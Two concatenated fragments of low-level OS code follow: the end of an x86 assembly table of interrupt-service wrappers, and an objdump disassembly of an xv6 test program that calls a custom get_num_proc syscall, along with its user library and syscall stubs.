; Interrupt 0x88 (136) - INT136
interrupt_0x88_wrapper:
isr_entrypoint 0x88, IsrHandler
; Interrupt 0x89 (137) - INT137
interrupt_0x89_wrapper:
isr_entrypoint 0x89, IsrHandler
; Interrupt 0x8A (138) - INT138
interrupt_0x8A_wrapper:
isr_entrypoint 0x8A, IsrHandler
; Interrupt 0x8B (139) - INT139
interrupt_0x8B_wrapper:
isr_entrypoint 0x8B, IsrHandler
; Interrupt 0x8C (140) - INT140
interrupt_0x8C_wrapper:
isr_entrypoint 0x8C, IsrHandler
; Interrupt 0x8D (141) - INT141
interrupt_0x8D_wrapper:
isr_entrypoint 0x8D, IsrHandler
; Interrupt 0x8E (142) - INT142
interrupt_0x8E_wrapper:
isr_entrypoint 0x8E, IsrHandler
; Interrupt 0x8F (143) - INT143
interrupt_0x8F_wrapper:
isr_entrypoint 0x8F, IsrHandler
; Interrupt 0x90 (144) - INT144
interrupt_0x90_wrapper:
isr_entrypoint 0x90, IsrHandler
; Interrupt 0x91 (145) - INT145
interrupt_0x91_wrapper:
isr_entrypoint 0x91, IsrHandler
; Interrupt 0x92 (146) - INT146
interrupt_0x92_wrapper:
isr_entrypoint 0x92, IsrHandler
; Interrupt 0x93 (147) - INT147
interrupt_0x93_wrapper:
isr_entrypoint 0x93, IsrHandler
; Interrupt 0x94 (148) - INT148
interrupt_0x94_wrapper:
isr_entrypoint 0x94, IsrHandler
; Interrupt 0x95 (149) - INT149
interrupt_0x95_wrapper:
isr_entrypoint 0x95, IsrHandler
; Interrupt 0x96 (150) - INT150
interrupt_0x96_wrapper:
isr_entrypoint 0x96, IsrHandler
; Interrupt 0x97 (151) - INT151
interrupt_0x97_wrapper:
isr_entrypoint 0x97, IsrHandler
; Interrupt 0x98 (152) - INT152
interrupt_0x98_wrapper:
isr_entrypoint 0x98, IsrHandler
; Interrupt 0x99 (153) - INT153
interrupt_0x99_wrapper:
isr_entrypoint 0x99, IsrHandler
; Interrupt 0x9A (154) - INT154
interrupt_0x9A_wrapper:
isr_entrypoint 0x9A, IsrHandler
; Interrupt 0x9B (155) - INT155
interrupt_0x9B_wrapper:
isr_entrypoint 0x9B, IsrHandler
; Interrupt 0x9C (156) - INT156
interrupt_0x9C_wrapper:
isr_entrypoint 0x9C, IsrHandler
; Interrupt 0x9D (157) - INT157
interrupt_0x9D_wrapper:
isr_entrypoint 0x9D, IsrHandler
; Interrupt 0x9E (158) - INT158
interrupt_0x9E_wrapper:
isr_entrypoint 0x9E, IsrHandler
; Interrupt 0x9F (159) - INT159
interrupt_0x9F_wrapper:
isr_entrypoint 0x9F, IsrHandler
; Interrupt 0xA0 (160) - INT160
interrupt_0xA0_wrapper:
isr_entrypoint 0xA0, IsrHandler
; Interrupt 0xA1 (161) - INT161
interrupt_0xA1_wrapper:
isr_entrypoint 0xA1, IsrHandler
; Interrupt 0xA2 (162) - INT162
interrupt_0xA2_wrapper:
isr_entrypoint 0xA2, IsrHandler
; Interrupt 0xA3 (163) - INT163
interrupt_0xA3_wrapper:
isr_entrypoint 0xA3, IsrHandler
; Interrupt 0xA4 (164) - INT164
interrupt_0xA4_wrapper:
isr_entrypoint 0xA4, IsrHandler
; Interrupt 0xA5 (165) - INT165
interrupt_0xA5_wrapper:
isr_entrypoint 0xA5, IsrHandler
; Interrupt 0xA6 (166) - INT166
interrupt_0xA6_wrapper:
isr_entrypoint 0xA6, IsrHandler
; Interrupt 0xA7 (167) - INT167
interrupt_0xA7_wrapper:
isr_entrypoint 0xA7, IsrHandler
; Interrupt 0xA8 (168) - INT168
interrupt_0xA8_wrapper:
isr_entrypoint 0xA8, IsrHandler
; Interrupt 0xA9 (169) - INT169
interrupt_0xA9_wrapper:
isr_entrypoint 0xA9, IsrHandler
; Interrupt 0xAA (170) - INT170
interrupt_0xAA_wrapper:
isr_entrypoint 0xAA, IsrHandler
; Interrupt 0xAB (171) - INT171
interrupt_0xAB_wrapper:
isr_entrypoint 0xAB, IsrHandler
; Interrupt 0xAC (172) - INT172
interrupt_0xAC_wrapper:
isr_entrypoint 0xAC, IsrHandler
; Interrupt 0xAD (173) - INT173
interrupt_0xAD_wrapper:
isr_entrypoint 0xAD, IsrHandler
; Interrupt 0xAE (174) - INT174
interrupt_0xAE_wrapper:
isr_entrypoint 0xAE, IsrHandler
; Interrupt 0xAF (175) - INT175
interrupt_0xAF_wrapper:
isr_entrypoint 0xAF, IsrHandler
; Interrupt 0xB0 (176) - INT176
interrupt_0xB0_wrapper:
isr_entrypoint 0xB0, IsrHandler
; Interrupt 0xB1 (177) - INT177
interrupt_0xB1_wrapper:
isr_entrypoint 0xB1, IsrHandler
; Interrupt 0xB2 (178) - INT178
interrupt_0xB2_wrapper:
isr_entrypoint 0xB2, IsrHandler
; Interrupt 0xB3 (179) - INT179
interrupt_0xB3_wrapper:
isr_entrypoint 0xB3, IsrHandler
; Interrupt 0xB4 (180) - INT180
interrupt_0xB4_wrapper:
isr_entrypoint 0xB4, IsrHandler
; Interrupt 0xB5 (181) - INT181
interrupt_0xB5_wrapper:
isr_entrypoint 0xB5, IsrHandler
; Interrupt 0xB6 (182) - INT182
interrupt_0xB6_wrapper:
isr_entrypoint 0xB6, IsrHandler
; Interrupt 0xB7 (183) - INT183
interrupt_0xB7_wrapper:
isr_entrypoint 0xB7, IsrHandler
; Interrupt 0xB8 (184) - INT184
interrupt_0xB8_wrapper:
isr_entrypoint 0xB8, IsrHandler
; Interrupt 0xB9 (185) - INT185
interrupt_0xB9_wrapper:
isr_entrypoint 0xB9, IsrHandler
; Interrupt 0xBA (186) - INT186
interrupt_0xBA_wrapper:
isr_entrypoint 0xBA, IsrHandler
; Interrupt 0xBB (187) - INT187
interrupt_0xBB_wrapper:
isr_entrypoint 0xBB, IsrHandler
; Interrupt 0xBC (188) - INT188
interrupt_0xBC_wrapper:
isr_entrypoint 0xBC, IsrHandler
; Interrupt 0xBD (189) - INT189
interrupt_0xBD_wrapper:
isr_entrypoint 0xBD, IsrHandler
; Interrupt 0xBE (190) - INT190
interrupt_0xBE_wrapper:
isr_entrypoint 0xBE, IsrHandler
; Interrupt 0xBF (191) - INT191
interrupt_0xBF_wrapper:
isr_entrypoint 0xBF, IsrHandler
; Interrupt 0xC0 (192) - INT192
interrupt_0xC0_wrapper:
isr_entrypoint 0xC0, IsrHandler
; Interrupt 0xC1 (193) - INT193
interrupt_0xC1_wrapper:
isr_entrypoint 0xC1, IsrHandler
; Interrupt 0xC2 (194) - INT194
interrupt_0xC2_wrapper:
isr_entrypoint 0xC2, IsrHandler
; Interrupt 0xC3 (195) - INT195
interrupt_0xC3_wrapper:
isr_entrypoint 0xC3, IsrHandler
; Interrupt 0xC4 (196) - INT196
interrupt_0xC4_wrapper:
isr_entrypoint 0xC4, IsrHandler
; Interrupt 0xC5 (197) - INT197
interrupt_0xC5_wrapper:
isr_entrypoint 0xC5, IsrHandler
; Interrupt 0xC6 (198) - INT198
interrupt_0xC6_wrapper:
isr_entrypoint 0xC6, IsrHandler
; Interrupt 0xC7 (199) - INT199
interrupt_0xC7_wrapper:
isr_entrypoint 0xC7, IsrHandler
; Interrupt 0xC8 (200) - INT200
interrupt_0xC8_wrapper:
isr_entrypoint 0xC8, IsrHandler
; Interrupt 0xC9 (201) - INT201
interrupt_0xC9_wrapper:
isr_entrypoint 0xC9, IsrHandler
; Interrupt 0xCA (202) - INT202
interrupt_0xCA_wrapper:
isr_entrypoint 0xCA, IsrHandler
; Interrupt 0xCB (203) - INT203
interrupt_0xCB_wrapper:
isr_entrypoint 0xCB, IsrHandler
; Interrupt 0xCC (204) - INT204
interrupt_0xCC_wrapper:
isr_entrypoint 0xCC, IsrHandler
; Interrupt 0xCD (205) - INT205
interrupt_0xCD_wrapper:
isr_entrypoint 0xCD, IsrHandler
; Interrupt 0xCE (206) - INT206
interrupt_0xCE_wrapper:
isr_entrypoint 0xCE, IsrHandler
; Interrupt 0xCF (207) - INT207
interrupt_0xCF_wrapper:
isr_entrypoint 0xCF, IsrHandler
; Interrupt 0xD0 (208) - INT208
interrupt_0xD0_wrapper:
isr_entrypoint 0xD0, IsrHandler
; Interrupt 0xD1 (209) - INT209
interrupt_0xD1_wrapper:
isr_entrypoint 0xD1, IsrHandler
; Interrupt 0xD2 (210) - INT210
interrupt_0xD2_wrapper:
isr_entrypoint 0xD2, IsrHandler
; Interrupt 0xD3 (211) - INT211
interrupt_0xD3_wrapper:
isr_entrypoint 0xD3, IsrHandler
; Interrupt 0xD4 (212) - INT212
interrupt_0xD4_wrapper:
isr_entrypoint 0xD4, IsrHandler
; Interrupt 0xD5 (213) - INT213
interrupt_0xD5_wrapper:
isr_entrypoint 0xD5, IsrHandler
; Interrupt 0xD6 (214) - INT214
interrupt_0xD6_wrapper:
isr_entrypoint 0xD6, IsrHandler
; Interrupt 0xD7 (215) - INT215
interrupt_0xD7_wrapper:
isr_entrypoint 0xD7, IsrHandler
; Interrupt 0xD8 (216) - INT216
interrupt_0xD8_wrapper:
isr_entrypoint 0xD8, IsrHandler
; Interrupt 0xD9 (217) - INT217
interrupt_0xD9_wrapper:
isr_entrypoint 0xD9, IsrHandler
; Interrupt 0xDA (218) - INT218
interrupt_0xDA_wrapper:
isr_entrypoint 0xDA, IsrHandler
; Interrupt 0xDB (219) - INT219
interrupt_0xDB_wrapper:
isr_entrypoint 0xDB, IsrHandler
; Interrupt 0xDC (220) - INT220
interrupt_0xDC_wrapper:
isr_entrypoint 0xDC, IsrHandler
; Interrupt 0xDD (221) - INT221
interrupt_0xDD_wrapper:
isr_entrypoint 0xDD, IsrHandler
; Interrupt 0xDE (222) - INT222
interrupt_0xDE_wrapper:
isr_entrypoint 0xDE, IsrHandler
; Interrupt 0xDF (223) - INT223
interrupt_0xDF_wrapper:
isr_entrypoint 0xDF, IsrHandler
; Interrupt 0xE0 (224) - INT224
interrupt_0xE0_wrapper:
isr_entrypoint 0xE0, IsrHandler
; Interrupt 0xE1 (225) - INT225
interrupt_0xE1_wrapper:
isr_entrypoint 0xE1, IsrHandler
; Interrupt 0xE2 (226) - INT226
interrupt_0xE2_wrapper:
isr_entrypoint 0xE2, IsrHandler
; Interrupt 0xE3 (227) - INT227
interrupt_0xE3_wrapper:
isr_entrypoint 0xE3, IsrHandler
; Interrupt 0xE4 (228) - INT228
interrupt_0xE4_wrapper:
isr_entrypoint 0xE4, IsrHandler
; Interrupt 0xE5 (229) - INT229
interrupt_0xE5_wrapper:
isr_entrypoint 0xE5, IsrHandler
; Interrupt 0xE6 (230) - INT230
interrupt_0xE6_wrapper:
isr_entrypoint 0xE6, IsrHandler
; Interrupt 0xE7 (231) - INT231
interrupt_0xE7_wrapper:
isr_entrypoint 0xE7, IsrHandler
; Interrupt 0xE8 (232) - INT232
interrupt_0xE8_wrapper:
isr_entrypoint 0xE8, IsrHandler
; Interrupt 0xE9 (233) - INT233
interrupt_0xE9_wrapper:
isr_entrypoint 0xE9, IsrHandler
; Interrupt 0xEA (234) - INT234
interrupt_0xEA_wrapper:
isr_entrypoint 0xEA, IsrHandler
; Interrupt 0xEB (235) - INT235
interrupt_0xEB_wrapper:
isr_entrypoint 0xEB, IsrHandler
; Interrupt 0xEC (236) - INT236
interrupt_0xEC_wrapper:
isr_entrypoint 0xEC, IsrHandler
; Interrupt 0xED (237) - INT237
interrupt_0xED_wrapper:
isr_entrypoint 0xED, IsrHandler
; Interrupt 0xEE (238) - INT238
interrupt_0xEE_wrapper:
isr_entrypoint 0xEE, IsrHandler
; Interrupt 0xEF (239) - INT239
interrupt_0xEF_wrapper:
isr_entrypoint 0xEF, IsrHandler
; Interrupt 0xF0 (240) - INT240
interrupt_0xF0_wrapper:
isr_entrypoint 0xF0, IsrHandler
; Interrupt 0xF1 (241) - INT241
interrupt_0xF1_wrapper:
isr_entrypoint 0xF1, IsrHandler
; Interrupt 0xF2 (242) - INT242
interrupt_0xF2_wrapper:
isr_entrypoint 0xF2, IsrHandler
; Interrupt 0xF3 (243) - INT243
interrupt_0xF3_wrapper:
isr_entrypoint 0xF3, IsrHandler
; Interrupt 0xF4 (244) - INT244
interrupt_0xF4_wrapper:
isr_entrypoint 0xF4, IsrHandler
; Interrupt 0xF5 (245) - INT245
interrupt_0xF5_wrapper:
isr_entrypoint 0xF5, IsrHandler
; Interrupt 0xF6 (246) - INT246
interrupt_0xF6_wrapper:
isr_entrypoint 0xF6, IsrHandler
; Interrupt 0xF7 (247) - INT247
interrupt_0xF7_wrapper:
isr_entrypoint 0xF7, IsrHandler
; Interrupt 0xF8 (248) - INT248
interrupt_0xF8_wrapper:
isr_entrypoint 0xF8, IsrHandler
; Interrupt 0xF9 (249) - INT249
interrupt_0xF9_wrapper:
isr_entrypoint 0xF9, IsrHandler
; Interrupt 0xFA (250) - INT250
interrupt_0xFA_wrapper:
isr_entrypoint 0xFA, IsrHandler
; Interrupt 0xFB (251) - INT251
interrupt_0xFB_wrapper:
isr_entrypoint 0xFB, IsrHandler
; Interrupt 0xFC (252) - INT252
interrupt_0xFC_wrapper:
isr_entrypoint 0xFC, IsrHandler
; Interrupt 0xFD (253) - INT253
interrupt_0xFD_wrapper:
isr_entrypoint 0xFD, IsrHandler
; Interrupt 0xFE (254) - INT254
interrupt_0xFE_wrapper:
isr_entrypoint 0xFE, IsrHandler
; Interrupt 0xFF (255) - INT255
interrupt_0xFF_wrapper:
isr_entrypoint 0xFF, IsrHandler
|
_getnumproc_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
#include "fcntl.h"
int main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
printf(1, "Total Number of Active Pocesses : %d\n", get_num_proc());
11: e8 1c 03 00 00 call 332 <get_num_proc>
16: 83 ec 04 sub $0x4,%esp
19: 50 push %eax
1a: 68 58 07 00 00 push $0x758
1f: 6a 01 push $0x1
21: e8 da 03 00 00 call 400 <printf>
exit();
26: e8 57 02 00 00 call 282 <exit>
2b: 66 90 xchg %ax,%ax
2d: 66 90 xchg %ax,%ax
2f: 90 nop
00000030 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
30: 55 push %ebp
31: 89 e5 mov %esp,%ebp
33: 53 push %ebx
34: 8b 45 08 mov 0x8(%ebp),%eax
37: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
3a: 89 c2 mov %eax,%edx
3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
40: 83 c1 01 add $0x1,%ecx
43: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
47: 83 c2 01 add $0x1,%edx
4a: 84 db test %bl,%bl
4c: 88 5a ff mov %bl,-0x1(%edx)
4f: 75 ef jne 40 <strcpy+0x10>
;
return os;
}
51: 5b pop %ebx
52: 5d pop %ebp
53: c3 ret
54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000060 <strcmp>:
int
strcmp(const char *p, const char *q)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 55 08 mov 0x8(%ebp),%edx
67: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
6a: 0f b6 02 movzbl (%edx),%eax
6d: 0f b6 19 movzbl (%ecx),%ebx
70: 84 c0 test %al,%al
72: 75 1c jne 90 <strcmp+0x30>
74: eb 2a jmp a0 <strcmp+0x40>
76: 8d 76 00 lea 0x0(%esi),%esi
79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
80: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
83: 0f b6 02 movzbl (%edx),%eax
p++, q++;
86: 83 c1 01 add $0x1,%ecx
89: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
8c: 84 c0 test %al,%al
8e: 74 10 je a0 <strcmp+0x40>
90: 38 d8 cmp %bl,%al
92: 74 ec je 80 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
94: 29 d8 sub %ebx,%eax
}
96: 5b pop %ebx
97: 5d pop %ebp
98: c3 ret
99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
a2: 29 d8 sub %ebx,%eax
}
a4: 5b pop %ebx
a5: 5d pop %ebp
a6: c3 ret
a7: 89 f6 mov %esi,%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000b0 <strlen>:
uint
strlen(const char *s)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
b6: 80 39 00 cmpb $0x0,(%ecx)
b9: 74 15 je d0 <strlen+0x20>
bb: 31 d2 xor %edx,%edx
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 83 c2 01 add $0x1,%edx
c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
c7: 89 d0 mov %edx,%eax
c9: 75 f5 jne c0 <strlen+0x10>
;
return n;
}
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
d0: 31 c0 xor %eax,%eax
}
d2: 5d pop %ebp
d3: c3 ret
d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
e7: 8b 4d 10 mov 0x10(%ebp),%ecx
ea: 8b 45 0c mov 0xc(%ebp),%eax
ed: 89 d7 mov %edx,%edi
ef: fc cld
f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
f2: 89 d0 mov %edx,%eax
f4: 5f pop %edi
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strchr>:
char*
strchr(const char *s, char c)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 53 push %ebx
104: 8b 45 08 mov 0x8(%ebp),%eax
107: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
10a: 0f b6 10 movzbl (%eax),%edx
10d: 84 d2 test %dl,%dl
10f: 74 1d je 12e <strchr+0x2e>
if(*s == c)
111: 38 d3 cmp %dl,%bl
113: 89 d9 mov %ebx,%ecx
115: 75 0d jne 124 <strchr+0x24>
117: eb 17 jmp 130 <strchr+0x30>
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
120: 38 ca cmp %cl,%dl
122: 74 0c je 130 <strchr+0x30>
for(; *s; s++)
124: 83 c0 01 add $0x1,%eax
127: 0f b6 10 movzbl (%eax),%edx
12a: 84 d2 test %dl,%dl
12c: 75 f2 jne 120 <strchr+0x20>
return (char*)s;
return 0;
12e: 31 c0 xor %eax,%eax
}
130: 5b pop %ebx
131: 5d pop %ebp
132: c3 ret
133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <gets>:
char*
gets(char *buf, int max)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 57 push %edi
144: 56 push %esi
145: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
146: 31 f6 xor %esi,%esi
148: 89 f3 mov %esi,%ebx
{
14a: 83 ec 1c sub $0x1c,%esp
14d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
150: eb 2f jmp 181 <gets+0x41>
152: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
158: 8d 45 e7 lea -0x19(%ebp),%eax
15b: 83 ec 04 sub $0x4,%esp
15e: 6a 01 push $0x1
160: 50 push %eax
161: 6a 00 push $0x0
163: e8 32 01 00 00 call 29a <read>
if(cc < 1)
168: 83 c4 10 add $0x10,%esp
16b: 85 c0 test %eax,%eax
16d: 7e 1c jle 18b <gets+0x4b>
break;
buf[i++] = c;
16f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
173: 83 c7 01 add $0x1,%edi
176: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
179: 3c 0a cmp $0xa,%al
17b: 74 23 je 1a0 <gets+0x60>
17d: 3c 0d cmp $0xd,%al
17f: 74 1f je 1a0 <gets+0x60>
for(i=0; i+1 < max; ){
181: 83 c3 01 add $0x1,%ebx
184: 3b 5d 0c cmp 0xc(%ebp),%ebx
187: 89 fe mov %edi,%esi
189: 7c cd jl 158 <gets+0x18>
18b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
18d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
190: c6 03 00 movb $0x0,(%ebx)
}
193: 8d 65 f4 lea -0xc(%ebp),%esp
196: 5b pop %ebx
197: 5e pop %esi
198: 5f pop %edi
199: 5d pop %ebp
19a: c3 ret
19b: 90 nop
19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a0: 8b 75 08 mov 0x8(%ebp),%esi
1a3: 8b 45 08 mov 0x8(%ebp),%eax
1a6: 01 de add %ebx,%esi
1a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1aa: c6 03 00 movb $0x0,(%ebx)
}
1ad: 8d 65 f4 lea -0xc(%ebp),%esp
1b0: 5b pop %ebx
1b1: 5e pop %esi
1b2: 5f pop %edi
1b3: 5d pop %ebp
1b4: c3 ret
1b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <stat>:
int
stat(const char *n, struct stat *st)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 56 push %esi
1c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c5: 83 ec 08 sub $0x8,%esp
1c8: 6a 00 push $0x0
1ca: ff 75 08 pushl 0x8(%ebp)
1cd: e8 f0 00 00 00 call 2c2 <open>
if(fd < 0)
1d2: 83 c4 10 add $0x10,%esp
1d5: 85 c0 test %eax,%eax
1d7: 78 27 js 200 <stat+0x40>
return -1;
r = fstat(fd, st);
1d9: 83 ec 08 sub $0x8,%esp
1dc: ff 75 0c pushl 0xc(%ebp)
1df: 89 c3 mov %eax,%ebx
1e1: 50 push %eax
1e2: e8 f3 00 00 00 call 2da <fstat>
close(fd);
1e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1ea: 89 c6 mov %eax,%esi
close(fd);
1ec: e8 b9 00 00 00 call 2aa <close>
return r;
1f1: 83 c4 10 add $0x10,%esp
}
1f4: 8d 65 f8 lea -0x8(%ebp),%esp
1f7: 89 f0 mov %esi,%eax
1f9: 5b pop %ebx
1fa: 5e pop %esi
1fb: 5d pop %ebp
1fc: c3 ret
1fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
200: be ff ff ff ff mov $0xffffffff,%esi
205: eb ed jmp 1f4 <stat+0x34>
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <atoi>:
int
atoi(const char *s)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
217: 0f be 11 movsbl (%ecx),%edx
21a: 8d 42 d0 lea -0x30(%edx),%eax
21d: 3c 09 cmp $0x9,%al
n = 0;
21f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
224: 77 1f ja 245 <atoi+0x35>
226: 8d 76 00 lea 0x0(%esi),%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
230: 8d 04 80 lea (%eax,%eax,4),%eax
233: 83 c1 01 add $0x1,%ecx
236: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
23a: 0f be 11 movsbl (%ecx),%edx
23d: 8d 5a d0 lea -0x30(%edx),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
return n;
}
245: 5b pop %ebx
246: 5d pop %ebp
247: c3 ret
248: 90 nop
249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000250 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 56 push %esi
254: 53 push %ebx
255: 8b 5d 10 mov 0x10(%ebp),%ebx
258: 8b 45 08 mov 0x8(%ebp),%eax
25b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
25e: 85 db test %ebx,%ebx
260: 7e 14 jle 276 <memmove+0x26>
262: 31 d2 xor %edx,%edx
264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
268: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
26c: 88 0c 10 mov %cl,(%eax,%edx,1)
26f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
272: 39 d3 cmp %edx,%ebx
274: 75 f2 jne 268 <memmove+0x18>
return vdst;
}
276: 5b pop %ebx
277: 5e pop %esi
278: 5d pop %ebp
279: c3 ret
0000027a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27a: b8 01 00 00 00 mov $0x1,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <exit>:
SYSCALL(exit)
282: b8 02 00 00 00 mov $0x2,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <wait>:
SYSCALL(wait)
28a: b8 03 00 00 00 mov $0x3,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <pipe>:
SYSCALL(pipe)
292: b8 04 00 00 00 mov $0x4,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <read>:
SYSCALL(read)
29a: b8 05 00 00 00 mov $0x5,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <write>:
SYSCALL(write)
2a2: b8 10 00 00 00 mov $0x10,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <close>:
SYSCALL(close)
2aa: b8 15 00 00 00 mov $0x15,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <kill>:
SYSCALL(kill)
2b2: b8 06 00 00 00 mov $0x6,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <exec>:
SYSCALL(exec)
2ba: b8 07 00 00 00 mov $0x7,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <open>:
SYSCALL(open)
2c2: b8 0f 00 00 00 mov $0xf,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <mknod>:
SYSCALL(mknod)
2ca: b8 11 00 00 00 mov $0x11,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <unlink>:
SYSCALL(unlink)
2d2: b8 12 00 00 00 mov $0x12,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <fstat>:
SYSCALL(fstat)
2da: b8 08 00 00 00 mov $0x8,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <link>:
SYSCALL(link)
2e2: b8 13 00 00 00 mov $0x13,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mkdir>:
SYSCALL(mkdir)
2ea: b8 14 00 00 00 mov $0x14,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <chdir>:
SYSCALL(chdir)
2f2: b8 09 00 00 00 mov $0x9,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <dup>:
SYSCALL(dup)
2fa: b8 0a 00 00 00 mov $0xa,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <getpid>:
SYSCALL(getpid)
302: b8 0b 00 00 00 mov $0xb,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <sbrk>:
SYSCALL(sbrk)
30a: b8 0c 00 00 00 mov $0xc,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <sleep>:
SYSCALL(sleep)
312: b8 0d 00 00 00 mov $0xd,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <uptime>:
SYSCALL(uptime)
31a: b8 0e 00 00 00 mov $0xe,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <hello>:
SYSCALL(hello)
322: b8 16 00 00 00 mov $0x16,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <hello_name>:
SYSCALL(hello_name)
32a: b8 17 00 00 00 mov $0x17,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <get_num_proc>:
SYSCALL(get_num_proc)
332: b8 18 00 00 00 mov $0x18,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <get_max_pid>:
SYSCALL(get_max_pid)
33a: b8 19 00 00 00 mov $0x19,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <get_proc_info>:
SYSCALL(get_proc_info)
342: b8 1a 00 00 00 mov $0x1a,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <set_prio>:
